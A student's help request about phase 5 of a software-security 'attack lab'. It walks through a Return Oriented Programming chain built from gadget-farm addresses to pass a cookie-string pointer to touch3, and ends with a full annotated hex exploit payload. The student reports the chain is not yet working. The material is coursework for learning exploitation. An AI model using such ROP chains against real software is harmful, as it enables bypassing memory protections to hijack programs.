This is the phase 5 of attack lab in my software security class. Due to address randomization and nonexecutable stack, we are supposed to use Return Oriented Programming (ROP) to pass the string pointer of a given cookie value as argument to a function called touch3. I cannot describe the question better since that's all I can understand so far, the full instruction is on this pdf page 10: Attack Lab

The logic of the code (shown by other peoples's answer I can find) is:

1. padding the buffer

2. save the %rsp into a register (%rdi here)

3. save the address offset into a register (%rax here)

4. save the sum of the above to value to a register

5. call touch3

6. cookie string

7. terminate with \0

I am following what other people did, and my code is same as their, but I don't actually feel clear of the logic, so I want to ask several stupid questions:

1. Why we need the sum of %rsp and the offset address?

2. Why the value is popped to %rax first, then we pass the address of cookie string to %rax ?

3. Where I did wrong for this homework?

I can't think of a way to fix this except double checking all the encodings and addresses are used correctly.

step1:

48 89 e0 c3 mov %rsp, %rax

In my gadget farm, I found:

401ae6: b8 27 48 89 e0 mov $0xe0894827,%eax
401aeb: c3

401ae6+2, reverse =>

e8 1a 40 00 00 00 00 00

step2:

48 89 c7 c3 mov %rax, %rdi

In my gadget farm, I found:

401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax
401a33: c3

90 = nop, doesn't matter

401a2d+2, reverse =>

2f 1a 40 00 00 00 00 00

step3:

58 c3 pop %rax

In my gadget farm, I found:

401a34: c7 07 75 ac 31 58 movl $0x5831ac75,(%rdi)
401a3a: c3

401a34+5, reverse =>

39 1a 40 00 00 00 00 00

step4:

0x48

This constant is supposed to be the distance between the first line to cookie string line - 1, which is also referred as address offset. There are 10 lines before cookie string. So the value is (10-1)*8 = 72 = 0x48

step5:

89 c2 movl %eax, %edx

In my gadget farm, I found:

401aa2: c7 07 89 c2 90 c3 movl $0xc390c289,(%rdi)
401aa8: c3

401aa2+2, reverse =>

a4 1a 40 00 00 00 00 00

step6:

89 d1 movl %edx, %ecx

In my gadget farm, I found:

401afa: 8d 87 89 d1 08 c9 lea -0x36f72e77(%rdi),%eax
401b00: c3

08 c9 = orb R, R = nop, doesn't matter

401afa+2 reverse =>

fc 1a 40 00 00 00 00 00

step7:

89 ce movl %ecx, %esi

In my gadget farm, I found:

401ab0: b8 72 74 89 ce mov $0xce897472,%eax
401ab5: c3

401ab0+3, reverse =>

b3 1a 40 00 00 00 00 00

step8:

lea (%rdi, %rsi, 1), %rax

In my gadget farm, I found:

401a68: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401a6c: c3
401a68, reverse =>

68 1a 40 00 00 00 00 00

step9:

48 89 c7 c3 mov %rax, %rdi

In my gadget farm, I found:

401a48: b8 34 48 89 c7 mov $0xc7894834,%eax
401a4d: c3

401a48+2 reverse =>

4a 1a 40 00 00 00 00 00

step10:

touch3 address (confirmed correct from phase 3) 8a 19 40 00 00 00 00 00

step11:

string representtion of cookie (confirmed correct from phase 3)

33 65 35 32 64 66 66 35 00

    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 /* buffer */
    e8 1a 40 00 00 00 00 00 /* step1: mov  %rsp, %rax */
    2f 1a 40 00 00 00 00 00 /* step2: mov %rax, %rdi */
    39 1a 40 00 00 00 00 00 /* step3: pop %rax */
    48 00 00 00 00 00 00 00 /* step4: constant 0x48 */
    a4 1a 40 00 00 00 00 00 /* step5: movl %eax, %edx */
    fc 1a 40 00 00 00 00 00 /* step6: movl %edx, %ecx */
    b3 1a 40 00 00 00 00 00 /* step7: movl %ecx, %esi */
    68 1a 40 00 00 00 00 00 /* step8: lea (%rdi, %rsi, 1), %rax */
    4a 1a 40 00 00 00 00 00 /* step9: mov %rax, %rdi */ 
    8a 19 40 00 00 00 00 00 /* step10: touch3 address */
    33 65 35 32 64 66 66 35 /* step11: string representtion of cookie */
    00 00 00 00 00 00 00 00